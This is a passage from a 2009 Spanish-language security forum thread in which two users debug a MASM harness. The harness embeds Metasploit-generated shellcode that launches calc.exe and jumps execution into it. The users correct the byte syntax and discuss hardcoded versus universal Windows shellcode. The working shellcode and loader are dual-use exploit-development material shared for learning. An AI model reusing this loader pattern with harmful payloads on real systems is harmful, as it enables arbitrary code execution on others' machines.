;"\x6b\xc2\x75\x83\xeb\xfc\xe2\xf4\x05\x83\x86\x75\xf9\x6b\x49\x30".
;"\xc5\xe0\xbe\x70\x81\x6a\x2d\xfe\xb6\x73\x49\x2a\xd9\x6a\x29\x3c".
;"\x72\x5f\x49\x74\x17\x5a\x02\xec\x55\xef\x02\x01\xfe\xaa\x08\x78".
;"\xf8\xa9\x29\x81\xc2\x3f\xe6\x71\x8c\x8e\x49\x2a\xdd\x6a\x29\x13".
;"\x72\x67\x89\xfe\xa6\x77\xc3\x9e\x72\x77\x49\x74\x12\xe2\x9e\x51".
;"\xfd\xa8\xf3\xb5\x9d\xe0\x82\x45\x7c\xab\xba\x79\x72\x2b\xce\xfe".
;"\x89\x77\x6f\xfe\x91\x63\x29\x7c\x72\xeb\x72\x75\xf9\x6b\x49\x1d".
;"\xc5\x34\xf3\x83\x99\x3d\x4b\x8d\x7a\xab\xb9\x25\x91\x9b\x48\x71".
;"\xa6\x03\x5a\x8b\x73\x65\x95\x8a\x1e\x08\xa3\x19\x9a\x45\xa7\x0d".
;"\x9c\x6b\xc2\x75";


shellcode db '29h,c9h,83h,e9h,ddh,d9h,eeh,d9h,74h,24h,f4h,5bh,81h,73h,13h,f9h'
db '6bh,c2h,75h,83h,ebh,fch,e2h,f4h,05h,83h,86h,75h,f9h,6bh,49h,30h'
db 'c5h,e0h,beh,70h,81h,6ah,2dh,feh,b6h,73h,49h,2ah,d9h,6ah,29h,3ch'
db '72h,5fh,49h,74h,17h,5ah,02h,ech,55h,efh,02h,01h,feh,aah,08h,78h'
db 'f8h,a9h,29h,81h,c2h,3fh,e6h,71h,8ch,8eh,49h,2ah,ddh,6ah,29h,13h'
db '72h,67h,89h,feh,a6h,77h,c3h,9eh,72h,77h,49h,74h,12h,e2h,9eh,51h'
db 'fdh,a8h,f3h,b5h,9dh,e0h,82h,45h,7ch,abh,bah,79h,72h,2bh,ceh,feh'
db '89h,77h,6fh,feh,91h,63h,29h,7ch,72h,ebh,72h,75h,f9h,6bh,49h,1dh'
db 'c5h,34h,f3h,83h,99h,3dh,4bh,8dh,7ah,abh,b9h,25h,91h,9bh,48h,71h'
db 'a6h,03h,5ah,8bh,73h,65h,95h,8ah,1eh,08h,a3h,19h,9ah,45h,a7h,0dh'
db '9ch,6bh,c2h,75h'


.code
start:

     lea eax,shellcode
     jmp eax

end start



Mmm compilo de esta forma:

Código:

C:\masm32\bin>ml  /c  /coff  /Cp shellcode2.asm
Microsoft (R) Macro Assembler Version 6.14.8444
Copyright (C) Microsoft Corp 1981-1997.  All rights reserved.

 Assembling: shellcode2.asm

C:\masm32\bin>



Ahora Linkeo el .obj de esta forma:

Código:
C:\masm32\bin>link /SUBSYSTEM:WINDOWS  /LIBPATH:c:\masm32\lib shellcode2.obj
Microsoft (R) Incremental Linker Version 5.12.8078
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
C:\masm32\bin>

Bien el shellcode2.exe que ahora me ha generado, supongo deberia complir su funcion de ejecutar el calc.exe. pero no lo hace, las pruebas son sobre un win2k, aun no hago debug sobre ollydbg, a simple vista el shellcode2.exe debera funcionar al momento de tan solo ejecutarlo antes de pasar al debbugin.

PD: Aclaro No soy experto en win32 XDD

-berz3k.



« Última modificación: 10 Enero 2009, 14:11 por berz3k » En línea
achernar_

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: Analizando una shellcode falsa!
« Respuesta #10 en: 10 Enero 2009, 19:10 »

Estuve viendo y suceden dos cosas



Citar
shellcode    db '29h,c9h,83h,e9h,ddh,d9h,eeh,d9h,74h,24h,f4h,5bh,81h,73h,13h,f9h'

1) Pusiste todos los números entre comillas entonces se guarda como una cadena de texto, no como bytes, hay que sacar las comillas de los extremos.

y la segunda cuestion es que en masm cuando un número empieza con una letra como por ejemplo e9h se le pone un cero al principio 0e9h

quedaria algo asi:

Código:
.386
.model flat, stdcall
.data

;------------------------------
;Metasploit win_exec calc.exe
;------------------------------
;
;"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf9".
;"\x6b\xc2\x75\x83\xeb\xfc\xe2\xf4\x05\x83\x86\x75\xf9\x6b\x49\x30".
;"\xc5\xe0\xbe\x70\x81\x6a\x2d\xfe\xb6\x73\x49\x2a\xd9\x6a\x29\x3c".
;"\x72\x5f\x49\x74\x17\x5a\x02\xec\x55\xef\x02\x01\xfe\xaa\x08\x78".
;"\xf8\xa9\x29\x81\xc2\x3f\xe6\x71\x8c\x8e\x49\x2a\xdd\x6a\x29\x13".
;"\x72\x67\x89\xfe\xa6\x77\xc3\x9e\x72\x77\x49\x74\x12\xe2\x9e\x51".
;"\xfd\xa8\xf3\xb5\x9d\xe0\x82\x45\x7c\xab\xba\x79\x72\x2b\xce\xfe".
;"\x89\x77\x6f\xfe\x91\x63\x29\x7c\x72\xeb\x72\x75\xf9\x6b\x49\x1d".
;"\xc5\x34\xf3\x83\x99\x3d\x4b\x8d\x7a\xab\xb9\x25\x91\x9b\x48\x71".
;"\xa6\x03\x5a\x8b\x73\x65\x95\x8a\x1e\x08\xa3\x19\x9a\x45\xa7\x0d".
;"\x9c\x6b\xc2\x75";


shellcode db   29h,0c9h,83h,0e9h,0ddh,0d9h,0eeh,0d9h,74h,24h,0f4h,5bh,81h,73h,13h,0F9h
db   6bh,0c2h,75h,83h,0ebh,0fch,0e2h,0f4h,05h,83h,86h,75h,0f9h,6bh,49h,30h
db   0c5h,0e0h,0beh,70h,81h,6ah,2dh,0feh,0b6h,73h,49h,2ah,0d9h,6ah,29h,3ch
db   72h,5fh,49h,74h,17h,5ah,02h,0ech,55h,0efh,02h,01h,0feh,0aah,08h,78h
db   0f8h,0a9h,29h,81h,0c2h,3fh,0e6h,71h,8ch,8eh,49h,2ah,0ddh,6ah,29h,13h
db   72h,67h,89h,0feh,0a6h,77h,0c3h,9eh,72h,77h,49h,74h,12h,0e2h,9eh,51h
db   0fdh,0a8h,0f3h,0b5h,9dh,0e0h,82h,45h,7ch,0abh,0bah,79h,72h,2bh,0ceh,0feh
db   89h,77h,6fh,0feh,91h,63h,29h,7ch,72h,0ebh,72h,75h,0f9h,6bh,49h,1dh
db   0c5h,34h,0f3h,83h,99h,3dh,4bh,8dh,7ah,0abh,0b9h,25h,91h,9bh,48h,71h
db   0a6h,03h,5ah,8bh,73h,65h,95h,8ah,1eh,08h,0a3h,19h,9ah,45h,0a7h,0dh
db   9ch,6bh,0c2h,75h


.code
start:

     lea eax,shellcode
     jmp eax

end start

al final ejecuta la calculadora pero me tira un error, porque puede que sea una shellcode corta y no utilice la función exit process y termine ejecutando codigo sin sentido, no analicé a fondo solo la ejecuté con el olly con la maquina freezada  :P

tambien podria ser que necesites copiar la shellcode a la pila y usar un jmp esp.

yo lo usé en un xp sp2.
« Última modificación: 10 Enero 2009, 19:13 por achernar_ » En línea

Tengo una habilidad sorprendente para hacer cosas que no sorprenden.
berz3k
Moderador
*****
Desconectado Desconectado

Mensajes: 1.015



Ver Perfil
Re: Analizando una shellcode falsa!
« Respuesta #11 en: 13 Enero 2009, 00:14 »

@achernar_

Bien, probare esta noche al llegar a casa, ya te cuento...

-berz3k.
En línea
berz3k
Moderador
*****
Desconectado Desconectado

Mensajes: 1.015



Ver Perfil
Re: Analizando una shellcode falsa!
« Respuesta #12 en: 14 Enero 2009, 05:43 »

Bien, me lo he probado todo fantastico hasta ahora, aunque en win2k no me ejecuta el calc.exe, solo en XP y Vista , claro es mejor hacerlo con OllyDbg para obervar con mejor detalle lo que hace tu shellcode....

Me estoy pensando si existe algo "automatico" para analizar shellcodes de win32, me parece que shellforge tenia algo, mmmm lo recuerdo de las conferencias de ph-neutral en Alemania, estoy haciendo memoria, pero si no existe trabajare en algo , vaya es algo sencillo de hacer parseando la shellcode original , bajo un template .asm mmm sera interesante, supongo tienes mas "ASEs" bajo la manga achernar_, , cuentanos ....

-berz3k.
En línea
achernar_

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: Analizando una shellcode falsa!
« Respuesta #13 en: 14 Enero 2009, 17:30 »

Para que la shellcode funcione en varias versiones de windows, hay que hacer una shellcode universal. Cuando cambiás de windows las funciones en las librerias de enalce dinámico (dll`s) están en diferentes direcciones de memoria, entonces podés poner directamente en tu shellcode las direcciones de las funciones que querés utilizar (shellcodes harcodeadas), pero como dije la función que querés llamar solo va a estar ahi en algunas versiones de windows, esto hace que la shellcode no funcione en todos los win, pero hay maneras de aprovechar el formato PE de los ejecutables y explorarlos para poder saber donde están las funciones que uno quiere exactamente, entonces funcionan en cualquier windows (shellcodes universales)

http://goodfellas.shellcode.com.ar/docz/bof/UN-shellcodes_1.txt

espero que sea útil a quien lea esto.
En línea

Tengo una habilidad sorprendente para hacer cosas que no sorprenden.
berz3k
Moderador
*****
Desconectado Desconectado

Mensajes: 1.015



Ver Perfil
Re: Analizando una shellcode falsa!
« Respuesta #14 en: 21 Enero 2009, 08:14 »

Yep, tengo ese link en mi biblioteca, los "huecos" para trastear con algunos codes y mejorar shellcodes a veces no es suficiente, liar con el curro sometimes s0x.

Bien por los tips @achernar_

-berz3k.
En línea
Páginas: [1] 2 Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Yashira.org    Videojuegos    indetectables.net    Seguridad Informatica Colombia    Indejuegos    Internet móvil

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec    Seguridad Wireless    Underground México    Biblioteca de Seguridad

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.11 | SMF © 2006-2008, Simple Machines LLC